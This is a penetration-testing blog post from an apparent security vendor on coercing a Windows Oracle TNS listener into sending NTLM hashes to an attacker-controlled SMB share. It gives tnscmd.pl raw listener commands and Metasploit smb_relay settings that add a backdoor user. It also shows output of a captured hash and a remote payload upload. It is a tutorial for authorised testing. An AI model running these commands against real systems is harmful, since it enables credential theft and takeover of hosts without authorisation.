Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Get access to immediate incident response assistance.
Get access to immediate incident response assistance.
Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected a number of penetration testing tips and plan to write a number of posts to share them. This is the third post in the "Wendel's Small Hacking Tricks" series and will show a not so common, but interesting attack against Oracle for Microsoft Windows. The first post in the series discussed methods of hacking Microsoft SQL Server, and the second post in the series discussed methods by which you can kill processes from the Microsoft Windows Command Line interface.
I mentioned above ,this technique is not very common and is not effective against most targets because it has special requirements that are not enabled by default. But you have my word that I have found a few of them in real-world penetration testing engagements.
If all goes well, you will end up with a password hash without even touching the Oracle database. ;)
*** How to force the Oracle Listener to try to authenticate back to you with LM/NTLM password hash ***
Requirements: Oracle must be installed with an "administrative" account and the service should not be running as SYSTEM. As far as I know, the only way to discover this remotely is by testing it. ;)
1) First, start smb_sniff, smb_relay or the great Responder tool from my friend Laurent (SpiderLabs).
msf > use windows/smb/smb_relay
msf exploit(smb_relay) > set payload windows/adduser
msf exploit(smb_relay) > set user evil
user => evil
msf exploit(smb_relay) > set pass hacker
pass => hacker
msf exploit(smb_relay) > exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Server started.
2) Use tnscmd.pl script to test Oracle 9i or older, the syntax is the following:
root@WS~# ./tnscmd.pl -h Oracle-IP-Address --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE="\\\\Attacker-IP-Address\\hackme")))"
If the attack worked, the output should be something like this:
........"...........@(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=280)(ERRARGS=\\192.168.1.100\haxme)(COMMAND=log_file)(ERROR_STACK=(ERROR=(CODE=280)(EMFI=1)(ARGS='\\192.168.1.100\haxme'))(ERROR=(CODE=278)(EMFI=1))(ERROR=(CODE=16)(EMFI=3))(ERROR=(BUF='32-bit Windows Error: 13: Permission denied'))))
And on the smb_relay screen (or whatever you decided to use) you should see the password hash:
[*] Server started.
msf exploit(smb_relay) > [*] Received 192.168.1.103:1104 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 1 LM:
[*] Sending Access Denied to 192.168.1.103:1104 \
[*] Received 192.168.1.103:1104 ORACLE9I\oracle LMHASH:1de283f81853a0509f14486a9d7900ab5669608b9edf51a5 NTHASH:1de283f81853a0509f14486a9d7900ab5669608b9edf51a5 OS:Windows Server 2003 3790 Service Pack 1 LM:
[*] Authenticating to 192.168.1.103 as ORACLE9I\oracle...
[*] AUTHENTICATED as ORACLE9I\oracle...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \njvtubjo.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \njvtubjo.exe...
[*] Sending Access Denied to 192.168.1.103:1104 ORACLE9I\oracle
3) Additionally, you may use the tnscmd.pl script to test Oracle 10g or higher, however in this case the attack will also require the Oracle SID and the database must have the OS_Authentication disable (which is is not the case by default).
root@WS~# ./tnscmd.pl -h Oracle-IP-Address --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=Oracle-SID)(VERSION=185599488)(VALUE="\\\\IP-Address\\hackme")))"
If you get an error as demonstrated below, it means that your target Oracle database is configured with "OS Authentication enabled" as the default. You are out of luck.
.e......"..Y(DESCRIPTION=(TMP=)(VSNNUM=168821248)(ERR=1189)(ERROR_STACK=(ERROR=(CODE=1189)(EMFI=4))))
Stay tuned for more Wendel's Small Hacking Tricks.
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.
Copyright © 2024 Trustwave Holdings, Inc. All rights reserved.